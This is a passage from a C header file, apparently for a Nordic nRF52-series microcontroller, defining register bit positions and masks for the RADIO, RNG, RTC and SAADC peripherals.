#define RADIO_RSSISAMPLE_RSSISAMPLE_Msk (0x7FUL << RADIO_RSSISAMPLE_RSSISAMPLE_Pos) /*!< Bit mask of RSSISAMPLE field. */
/* Register: RADIO_STATE */
/* Description: Current radio state */
/* Bits 3..0 : Current radio state */
#define RADIO_STATE_STATE_Pos (0UL) /*!< Position of STATE field. */
#define RADIO_STATE_STATE_Msk (0xFUL << RADIO_STATE_STATE_Pos) /*!< Bit mask of STATE field. */
#define RADIO_STATE_STATE_Disabled (0UL) /*!< RADIO is in the Disabled state */
#define RADIO_STATE_STATE_RxRu (1UL) /*!< RADIO is in the RXRU state */
#define RADIO_STATE_STATE_RxIdle (2UL) /*!< RADIO is in the RXIDLE state */
#define RADIO_STATE_STATE_Rx (3UL) /*!< RADIO is in the RX state */
#define RADIO_STATE_STATE_RxDisable (4UL) /*!< RADIO is in the RXDISABLED state */
#define RADIO_STATE_STATE_TxRu (9UL) /*!< RADIO is in the TXRU state */
#define RADIO_STATE_STATE_TxIdle (10UL) /*!< RADIO is in the TXIDLE state */
#define RADIO_STATE_STATE_Tx (11UL) /*!< RADIO is in the TX state */
#define RADIO_STATE_STATE_TxDisable (12UL) /*!< RADIO is in the TXDISABLED state */
/* Register: RADIO_DATAWHITEIV */
/* Description: Data whitening initial value */
/* Bits 6..0 : Data whitening initial value. Bit 6 is hard-wired to '1', writing '0' to it has no effect, and it will always be read back and used by the device as '1'. */
#define RADIO_DATAWHITEIV_DATAWHITEIV_Pos (0UL) /*!< Position of DATAWHITEIV field. */
#define RADIO_DATAWHITEIV_DATAWHITEIV_Msk (0x7FUL << RADIO_DATAWHITEIV_DATAWHITEIV_Pos) /*!< Bit mask of DATAWHITEIV field. */
/* Register: RADIO_BCC */
/* Description: Bit counter compare */
/* Bits 31..0 : Bit counter compare */
#define RADIO_BCC_BCC_Pos (0UL) /*!< Position of BCC field. */
#define RADIO_BCC_BCC_Msk (0xFFFFFFFFUL << RADIO_BCC_BCC_Pos) /*!< Bit mask of BCC field. */
/* Register: RADIO_DAB */
/* Description: Description collection[0]: Device address base segment 0 */
/* Bits 31..0 : Device address base segment 0 */
#define RADIO_DAB_DAB_Pos (0UL) /*!< Position of DAB field. */
#define RADIO_DAB_DAB_Msk (0xFFFFFFFFUL << RADIO_DAB_DAB_Pos) /*!< Bit mask of DAB field. */
/* Register: RADIO_DAP */
/* Description: Description collection[0]: Device address prefix 0 */
/* Bits 15..0 : Device address prefix 0 */
#define RADIO_DAP_DAP_Pos (0UL) /*!< Position of DAP field. */
#define RADIO_DAP_DAP_Msk (0xFFFFUL << RADIO_DAP_DAP_Pos) /*!< Bit mask of DAP field. */
/* Register: RADIO_DACNF */
/* Description: Device address match configuration */
/* Bit 15 : TxAdd for device address 7 */
#define RADIO_DACNF_TXADD7_Pos (15UL) /*!< Position of TXADD7 field. */
#define RADIO_DACNF_TXADD7_Msk (0x1UL << RADIO_DACNF_TXADD7_Pos) /*!< Bit mask of TXADD7 field. */
/* Bit 14 : TxAdd for device address 6 */
#define RADIO_DACNF_TXADD6_Pos (14UL) /*!< Position of TXADD6 field. */
#define RADIO_DACNF_TXADD6_Msk (0x1UL << RADIO_DACNF_TXADD6_Pos) /*!< Bit mask of TXADD6 field. */
/* Bit 13 : TxAdd for device address 5 */
#define RADIO_DACNF_TXADD5_Pos (13UL) /*!< Position of TXADD5 field. */
#define RADIO_DACNF_TXADD5_Msk (0x1UL << RADIO_DACNF_TXADD5_Pos) /*!< Bit mask of TXADD5 field. */
/* Bit 12 : TxAdd for device address 4 */
#define RADIO_DACNF_TXADD4_Pos (12UL) /*!< Position of TXADD4 field. */
#define RADIO_DACNF_TXADD4_Msk (0x1UL << RADIO_DACNF_TXADD4_Pos) /*!< Bit mask of TXADD4 field. */
/* Bit 11 : TxAdd for device address 3 */
#define RADIO_DACNF_TXADD3_Pos (11UL) /*!< Position of TXADD3 field. */
#define RADIO_DACNF_TXADD3_Msk (0x1UL << RADIO_DACNF_TXADD3_Pos) /*!< Bit mask of TXADD3 field. */
/* Bit 10 : TxAdd for device address 2 */
#define RADIO_DACNF_TXADD2_Pos (10UL) /*!< Position of TXADD2 field. */
#define RADIO_DACNF_TXADD2_Msk (0x1UL << RADIO_DACNF_TXADD2_Pos) /*!< Bit mask of TXADD2 field. */
/* Bit 9 : TxAdd for device address 1 */
#define RADIO_DACNF_TXADD1_Pos (9UL) /*!< Position of TXADD1 field. */
#define RADIO_DACNF_TXADD1_Msk (0x1UL << RADIO_DACNF_TXADD1_Pos) /*!< Bit mask of TXADD1 field. */
/* Bit 8 : TxAdd for device address 0 */
#define RADIO_DACNF_TXADD0_Pos (8UL) /*!< Position of TXADD0 field. */
#define RADIO_DACNF_TXADD0_Msk (0x1UL << RADIO_DACNF_TXADD0_Pos) /*!< Bit mask of TXADD0 field. */
/* Bit 7 : Enable or disable device address matching using device address 7 */
#define RADIO_DACNF_ENA7_Pos (7UL) /*!< Position of ENA7 field. */
#define RADIO_DACNF_ENA7_Msk (0x1UL << RADIO_DACNF_ENA7_Pos) /*!< Bit mask of ENA7 field. */
#define RADIO_DACNF_ENA7_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA7_Enabled (1UL) /*!< Enabled */
/* Bit 6 : Enable or disable device address matching using device address 6 */
#define RADIO_DACNF_ENA6_Pos (6UL) /*!< Position of ENA6 field. */
#define RADIO_DACNF_ENA6_Msk (0x1UL << RADIO_DACNF_ENA6_Pos) /*!< Bit mask of ENA6 field. */
#define RADIO_DACNF_ENA6_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA6_Enabled (1UL) /*!< Enabled */
/* Bit 5 : Enable or disable device address matching using device address 5 */
#define RADIO_DACNF_ENA5_Pos (5UL) /*!< Position of ENA5 field. */
#define RADIO_DACNF_ENA5_Msk (0x1UL << RADIO_DACNF_ENA5_Pos) /*!< Bit mask of ENA5 field. */
#define RADIO_DACNF_ENA5_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA5_Enabled (1UL) /*!< Enabled */
/* Bit 4 : Enable or disable device address matching using device address 4 */
#define RADIO_DACNF_ENA4_Pos (4UL) /*!< Position of ENA4 field. */
#define RADIO_DACNF_ENA4_Msk (0x1UL << RADIO_DACNF_ENA4_Pos) /*!< Bit mask of ENA4 field. */
#define RADIO_DACNF_ENA4_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA4_Enabled (1UL) /*!< Enabled */
/* Bit 3 : Enable or disable device address matching using device address 3 */
#define RADIO_DACNF_ENA3_Pos (3UL) /*!< Position of ENA3 field. */
#define RADIO_DACNF_ENA3_Msk (0x1UL << RADIO_DACNF_ENA3_Pos) /*!< Bit mask of ENA3 field. */
#define RADIO_DACNF_ENA3_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA3_Enabled (1UL) /*!< Enabled */
/* Bit 2 : Enable or disable device address matching using device address 2 */
#define RADIO_DACNF_ENA2_Pos (2UL) /*!< Position of ENA2 field. */
#define RADIO_DACNF_ENA2_Msk (0x1UL << RADIO_DACNF_ENA2_Pos) /*!< Bit mask of ENA2 field. */
#define RADIO_DACNF_ENA2_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA2_Enabled (1UL) /*!< Enabled */
/* Bit 1 : Enable or disable device address matching using device address 1 */
#define RADIO_DACNF_ENA1_Pos (1UL) /*!< Position of ENA1 field. */
#define RADIO_DACNF_ENA1_Msk (0x1UL << RADIO_DACNF_ENA1_Pos) /*!< Bit mask of ENA1 field. */
#define RADIO_DACNF_ENA1_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA1_Enabled (1UL) /*!< Enabled */
/* Bit 0 : Enable or disable device address matching using device address 0 */
#define RADIO_DACNF_ENA0_Pos (0UL) /*!< Position of ENA0 field. */
#define RADIO_DACNF_ENA0_Msk (0x1UL << RADIO_DACNF_ENA0_Pos) /*!< Bit mask of ENA0 field. */
#define RADIO_DACNF_ENA0_Disabled (0UL) /*!< Disabled */
#define RADIO_DACNF_ENA0_Enabled (1UL) /*!< Enabled */
/* Register: RADIO_MODECNF0 */
/* Description: Radio mode configuration register 0 */
/* Bits 9..8 : Default TX value */
#define RADIO_MODECNF0_DTX_Pos (8UL) /*!< Position of DTX field. */
#define RADIO_MODECNF0_DTX_Msk (0x3UL << RADIO_MODECNF0_DTX_Pos) /*!< Bit mask of DTX field. */
#define RADIO_MODECNF0_DTX_B1 (0UL) /*!< Transmit '1' */
#define RADIO_MODECNF0_DTX_B0 (1UL) /*!< Transmit '0' */
#define RADIO_MODECNF0_DTX_Center (2UL) /*!< Transmit center frequency */
/* Bit 0 : Radio ramp-up time */
#define RADIO_MODECNF0_RU_Pos (0UL) /*!< Position of RU field. */
#define RADIO_MODECNF0_RU_Msk (0x1UL << RADIO_MODECNF0_RU_Pos) /*!< Bit mask of RU field. */
#define RADIO_MODECNF0_RU_Default (0UL) /*!< Default ramp-up time (tRXEN), compatible with firmware written for nRF51 */
#define RADIO_MODECNF0_RU_Fast (1UL) /*!< Fast ramp-up (tRXEN,FAST), see electrical specification for more information */
/* Register: RADIO_POWER */
/* Description: Peripheral power control */
/* Bit 0 : Peripheral power control. The peripheral and its registers will be reset to its initial state by switching the peripheral off and then back on again. */
#define RADIO_POWER_POWER_Pos (0UL) /*!< Position of POWER field. */
#define RADIO_POWER_POWER_Msk (0x1UL << RADIO_POWER_POWER_Pos) /*!< Bit mask of POWER field. */
#define RADIO_POWER_POWER_Disabled (0UL) /*!< Peripheral is powered off */
#define RADIO_POWER_POWER_Enabled (1UL) /*!< Peripheral is powered on */
/* Peripheral: RNG */
/* Description: Random Number Generator */
/* Register: RNG_SHORTS */
/* Description: Shortcut register */
/* Bit 0 : Shortcut between VALRDY event and STOP task */
#define RNG_SHORTS_VALRDY_STOP_Pos (0UL) /*!< Position of VALRDY_STOP field. */
#define RNG_SHORTS_VALRDY_STOP_Msk (0x1UL << RNG_SHORTS_VALRDY_STOP_Pos) /*!< Bit mask of VALRDY_STOP field. */
#define RNG_SHORTS_VALRDY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define RNG_SHORTS_VALRDY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Register: RNG_INTENSET */
/* Description: Enable interrupt */
/* Bit 0 : Write '1' to Enable interrupt for VALRDY event */
#define RNG_INTENSET_VALRDY_Pos (0UL) /*!< Position of VALRDY field. */
#define RNG_INTENSET_VALRDY_Msk (0x1UL << RNG_INTENSET_VALRDY_Pos) /*!< Bit mask of VALRDY field. */
#define RNG_INTENSET_VALRDY_Disabled (0UL) /*!< Read: Disabled */
#define RNG_INTENSET_VALRDY_Enabled (1UL) /*!< Read: Enabled */
#define RNG_INTENSET_VALRDY_Set (1UL) /*!< Enable */
/* Register: RNG_INTENCLR */
/* Description: Disable interrupt */
/* Bit 0 : Write '1' to Disable interrupt for VALRDY event */
#define RNG_INTENCLR_VALRDY_Pos (0UL) /*!< Position of VALRDY field. */
#define RNG_INTENCLR_VALRDY_Msk (0x1UL << RNG_INTENCLR_VALRDY_Pos) /*!< Bit mask of VALRDY field. */
#define RNG_INTENCLR_VALRDY_Disabled (0UL) /*!< Read: Disabled */
#define RNG_INTENCLR_VALRDY_Enabled (1UL) /*!< Read: Enabled */
#define RNG_INTENCLR_VALRDY_Clear (1UL) /*!< Disable */
/* Register: RNG_CONFIG */
/* Description: Configuration register */
/* Bit 0 : Bias correction */
#define RNG_CONFIG_DERCEN_Pos (0UL) /*!< Position of DERCEN field. */
#define RNG_CONFIG_DERCEN_Msk (0x1UL << RNG_CONFIG_DERCEN_Pos) /*!< Bit mask of DERCEN field. */
#define RNG_CONFIG_DERCEN_Disabled (0UL) /*!< Disabled */
#define RNG_CONFIG_DERCEN_Enabled (1UL) /*!< Enabled */
/* Register: RNG_VALUE */
/* Description: Output random number */
/* Bits 7..0 : Generated random number */
#define RNG_VALUE_VALUE_Pos (0UL) /*!< Position of VALUE field. */
#define RNG_VALUE_VALUE_Msk (0xFFUL << RNG_VALUE_VALUE_Pos) /*!< Bit mask of VALUE field. */
/* Peripheral: RTC */
/* Description: Real time counter 0 */
/* Register: RTC_INTENSET */
/* Description: Enable interrupt */
/* Bit 19 : Write '1' to Enable interrupt for COMPARE[3] event */
#define RTC_INTENSET_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define RTC_INTENSET_COMPARE3_Msk (0x1UL << RTC_INTENSET_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define RTC_INTENSET_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_COMPARE3_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable interrupt for COMPARE[2] event */
#define RTC_INTENSET_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define RTC_INTENSET_COMPARE2_Msk (0x1UL << RTC_INTENSET_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define RTC_INTENSET_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_COMPARE2_Set (1UL) /*!< Enable */
/* Bit 17 : Write '1' to Enable interrupt for COMPARE[1] event */
#define RTC_INTENSET_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define RTC_INTENSET_COMPARE1_Msk (0x1UL << RTC_INTENSET_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define RTC_INTENSET_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_COMPARE1_Set (1UL) /*!< Enable */
/* Bit 16 : Write '1' to Enable interrupt for COMPARE[0] event */
#define RTC_INTENSET_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define RTC_INTENSET_COMPARE0_Msk (0x1UL << RTC_INTENSET_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define RTC_INTENSET_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_COMPARE0_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for OVRFLW event */
#define RTC_INTENSET_OVRFLW_Pos (1UL) /*!< Position of OVRFLW field. */
#define RTC_INTENSET_OVRFLW_Msk (0x1UL << RTC_INTENSET_OVRFLW_Pos) /*!< Bit mask of OVRFLW field. */
#define RTC_INTENSET_OVRFLW_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_OVRFLW_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_OVRFLW_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for TICK event */
#define RTC_INTENSET_TICK_Pos (0UL) /*!< Position of TICK field. */
#define RTC_INTENSET_TICK_Msk (0x1UL << RTC_INTENSET_TICK_Pos) /*!< Bit mask of TICK field. */
#define RTC_INTENSET_TICK_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENSET_TICK_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENSET_TICK_Set (1UL) /*!< Enable */
/* Register: RTC_INTENCLR */
/* Description: Disable interrupt */
/* Bit 19 : Write '1' to Disable interrupt for COMPARE[3] event */
#define RTC_INTENCLR_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define RTC_INTENCLR_COMPARE3_Msk (0x1UL << RTC_INTENCLR_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define RTC_INTENCLR_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_COMPARE3_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable interrupt for COMPARE[2] event */
#define RTC_INTENCLR_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define RTC_INTENCLR_COMPARE2_Msk (0x1UL << RTC_INTENCLR_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define RTC_INTENCLR_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_COMPARE2_Clear (1UL) /*!< Disable */
/* Bit 17 : Write '1' to Disable interrupt for COMPARE[1] event */
#define RTC_INTENCLR_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define RTC_INTENCLR_COMPARE1_Msk (0x1UL << RTC_INTENCLR_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define RTC_INTENCLR_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_COMPARE1_Clear (1UL) /*!< Disable */
/* Bit 16 : Write '1' to Disable interrupt for COMPARE[0] event */
#define RTC_INTENCLR_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define RTC_INTENCLR_COMPARE0_Msk (0x1UL << RTC_INTENCLR_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define RTC_INTENCLR_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_COMPARE0_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for OVRFLW event */
#define RTC_INTENCLR_OVRFLW_Pos (1UL) /*!< Position of OVRFLW field. */
#define RTC_INTENCLR_OVRFLW_Msk (0x1UL << RTC_INTENCLR_OVRFLW_Pos) /*!< Bit mask of OVRFLW field. */
#define RTC_INTENCLR_OVRFLW_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_OVRFLW_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_OVRFLW_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for TICK event */
#define RTC_INTENCLR_TICK_Pos (0UL) /*!< Position of TICK field. */
#define RTC_INTENCLR_TICK_Msk (0x1UL << RTC_INTENCLR_TICK_Pos) /*!< Bit mask of TICK field. */
#define RTC_INTENCLR_TICK_Disabled (0UL) /*!< Read: Disabled */
#define RTC_INTENCLR_TICK_Enabled (1UL) /*!< Read: Enabled */
#define RTC_INTENCLR_TICK_Clear (1UL) /*!< Disable */
/* Register: RTC_EVTEN */
/* Description: Enable or disable event routing */
/* Bit 19 : Enable or disable event routing for COMPARE[3] event */
#define RTC_EVTEN_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define RTC_EVTEN_COMPARE3_Msk (0x1UL << RTC_EVTEN_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define RTC_EVTEN_COMPARE3_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_COMPARE3_Enabled (1UL) /*!< Enable */
/* Bit 18 : Enable or disable event routing for COMPARE[2] event */
#define RTC_EVTEN_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define RTC_EVTEN_COMPARE2_Msk (0x1UL << RTC_EVTEN_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define RTC_EVTEN_COMPARE2_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_COMPARE2_Enabled (1UL) /*!< Enable */
/* Bit 17 : Enable or disable event routing for COMPARE[1] event */
#define RTC_EVTEN_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define RTC_EVTEN_COMPARE1_Msk (0x1UL << RTC_EVTEN_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define RTC_EVTEN_COMPARE1_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_COMPARE1_Enabled (1UL) /*!< Enable */
/* Bit 16 : Enable or disable event routing for COMPARE[0] event */
#define RTC_EVTEN_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define RTC_EVTEN_COMPARE0_Msk (0x1UL << RTC_EVTEN_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define RTC_EVTEN_COMPARE0_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_COMPARE0_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable event routing for OVRFLW event */
#define RTC_EVTEN_OVRFLW_Pos (1UL) /*!< Position of OVRFLW field. */
#define RTC_EVTEN_OVRFLW_Msk (0x1UL << RTC_EVTEN_OVRFLW_Pos) /*!< Bit mask of OVRFLW field. */
#define RTC_EVTEN_OVRFLW_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_OVRFLW_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable event routing for TICK event */
#define RTC_EVTEN_TICK_Pos (0UL) /*!< Position of TICK field. */
#define RTC_EVTEN_TICK_Msk (0x1UL << RTC_EVTEN_TICK_Pos) /*!< Bit mask of TICK field. */
#define RTC_EVTEN_TICK_Disabled (0UL) /*!< Disable */
#define RTC_EVTEN_TICK_Enabled (1UL) /*!< Enable */
/* Register: RTC_EVTENSET */
/* Description: Enable event routing */
/* Bit 19 : Write '1' to Enable event routing for COMPARE[3] event */
#define RTC_EVTENSET_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define RTC_EVTENSET_COMPARE3_Msk (0x1UL << RTC_EVTENSET_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define RTC_EVTENSET_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_COMPARE3_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable event routing for COMPARE[2] event */
#define RTC_EVTENSET_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define RTC_EVTENSET_COMPARE2_Msk (0x1UL << RTC_EVTENSET_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define RTC_EVTENSET_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_COMPARE2_Set (1UL) /*!< Enable */
/* Bit 17 : Write '1' to Enable event routing for COMPARE[1] event */
#define RTC_EVTENSET_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define RTC_EVTENSET_COMPARE1_Msk (0x1UL << RTC_EVTENSET_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define RTC_EVTENSET_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_COMPARE1_Set (1UL) /*!< Enable */
/* Bit 16 : Write '1' to Enable event routing for COMPARE[0] event */
#define RTC_EVTENSET_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define RTC_EVTENSET_COMPARE0_Msk (0x1UL << RTC_EVTENSET_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define RTC_EVTENSET_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_COMPARE0_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable event routing for OVRFLW event */
#define RTC_EVTENSET_OVRFLW_Pos (1UL) /*!< Position of OVRFLW field. */
#define RTC_EVTENSET_OVRFLW_Msk (0x1UL << RTC_EVTENSET_OVRFLW_Pos) /*!< Bit mask of OVRFLW field. */
#define RTC_EVTENSET_OVRFLW_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_OVRFLW_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_OVRFLW_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable event routing for TICK event */
#define RTC_EVTENSET_TICK_Pos (0UL) /*!< Position of TICK field. */
#define RTC_EVTENSET_TICK_Msk (0x1UL << RTC_EVTENSET_TICK_Pos) /*!< Bit mask of TICK field. */
#define RTC_EVTENSET_TICK_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENSET_TICK_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENSET_TICK_Set (1UL) /*!< Enable */
/* Register: RTC_EVTENCLR */
/* Description: Disable event routing */
/* Bit 19 : Write '1' to Disable event routing for COMPARE[3] event */
#define RTC_EVTENCLR_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define RTC_EVTENCLR_COMPARE3_Msk (0x1UL << RTC_EVTENCLR_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define RTC_EVTENCLR_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_COMPARE3_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable event routing for COMPARE[2] event */
#define RTC_EVTENCLR_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define RTC_EVTENCLR_COMPARE2_Msk (0x1UL << RTC_EVTENCLR_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define RTC_EVTENCLR_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_COMPARE2_Clear (1UL) /*!< Disable */
/* Bit 17 : Write '1' to Disable event routing for COMPARE[1] event */
#define RTC_EVTENCLR_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define RTC_EVTENCLR_COMPARE1_Msk (0x1UL << RTC_EVTENCLR_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define RTC_EVTENCLR_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_COMPARE1_Clear (1UL) /*!< Disable */
/* Bit 16 : Write '1' to Disable event routing for COMPARE[0] event */
#define RTC_EVTENCLR_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define RTC_EVTENCLR_COMPARE0_Msk (0x1UL << RTC_EVTENCLR_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define RTC_EVTENCLR_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_COMPARE0_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable event routing for OVRFLW event */
#define RTC_EVTENCLR_OVRFLW_Pos (1UL) /*!< Position of OVRFLW field. */
#define RTC_EVTENCLR_OVRFLW_Msk (0x1UL << RTC_EVTENCLR_OVRFLW_Pos) /*!< Bit mask of OVRFLW field. */
#define RTC_EVTENCLR_OVRFLW_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_OVRFLW_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_OVRFLW_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable event routing for TICK event */
#define RTC_EVTENCLR_TICK_Pos (0UL) /*!< Position of TICK field. */
#define RTC_EVTENCLR_TICK_Msk (0x1UL << RTC_EVTENCLR_TICK_Pos) /*!< Bit mask of TICK field. */
#define RTC_EVTENCLR_TICK_Disabled (0UL) /*!< Read: Disabled */
#define RTC_EVTENCLR_TICK_Enabled (1UL) /*!< Read: Enabled */
#define RTC_EVTENCLR_TICK_Clear (1UL) /*!< Disable */
/* Register: RTC_COUNTER */
/* Description: Current COUNTER value */
/* Bits 23..0 : Counter value */
#define RTC_COUNTER_COUNTER_Pos (0UL) /*!< Position of COUNTER field. */
#define RTC_COUNTER_COUNTER_Msk (0xFFFFFFUL << RTC_COUNTER_COUNTER_Pos) /*!< Bit mask of COUNTER field. */
/* Register: RTC_PRESCALER */
/* Description: 12 bit prescaler for COUNTER frequency (32768/(PRESCALER+1)).Must be written when RTC is stopped */
/* Bits 11..0 : Prescaler value */
#define RTC_PRESCALER_PRESCALER_Pos (0UL) /*!< Position of PRESCALER field. */
#define RTC_PRESCALER_PRESCALER_Msk (0xFFFUL << RTC_PRESCALER_PRESCALER_Pos) /*!< Bit mask of PRESCALER field. */
/* Register: RTC_CC */
/* Description: Description collection[0]: Compare register 0 */
/* Bits 23..0 : Compare value */
#define RTC_CC_COMPARE_Pos (0UL) /*!< Position of COMPARE field. */
#define RTC_CC_COMPARE_Msk (0xFFFFFFUL << RTC_CC_COMPARE_Pos) /*!< Bit mask of COMPARE field. */
/* Peripheral: SAADC */
/* Description: Analog to Digital Converter */
/* Register: SAADC_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 21 : Enable or disable interrupt for CH[7].LIMITL event */
#define SAADC_INTEN_CH7LIMITL_Pos (21UL) /*!< Position of CH7LIMITL field. */
#define SAADC_INTEN_CH7LIMITL_Msk (0x1UL << SAADC_INTEN_CH7LIMITL_Pos) /*!< Bit mask of CH7LIMITL field. */
#define SAADC_INTEN_CH7LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH7LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 20 : Enable or disable interrupt for CH[7].LIMITH event */
#define SAADC_INTEN_CH7LIMITH_Pos (20UL) /*!< Position of CH7LIMITH field. */
#define SAADC_INTEN_CH7LIMITH_Msk (0x1UL << SAADC_INTEN_CH7LIMITH_Pos) /*!< Bit mask of CH7LIMITH field. */
#define SAADC_INTEN_CH7LIMITH_Disabled (0UL) /*!< Disable */
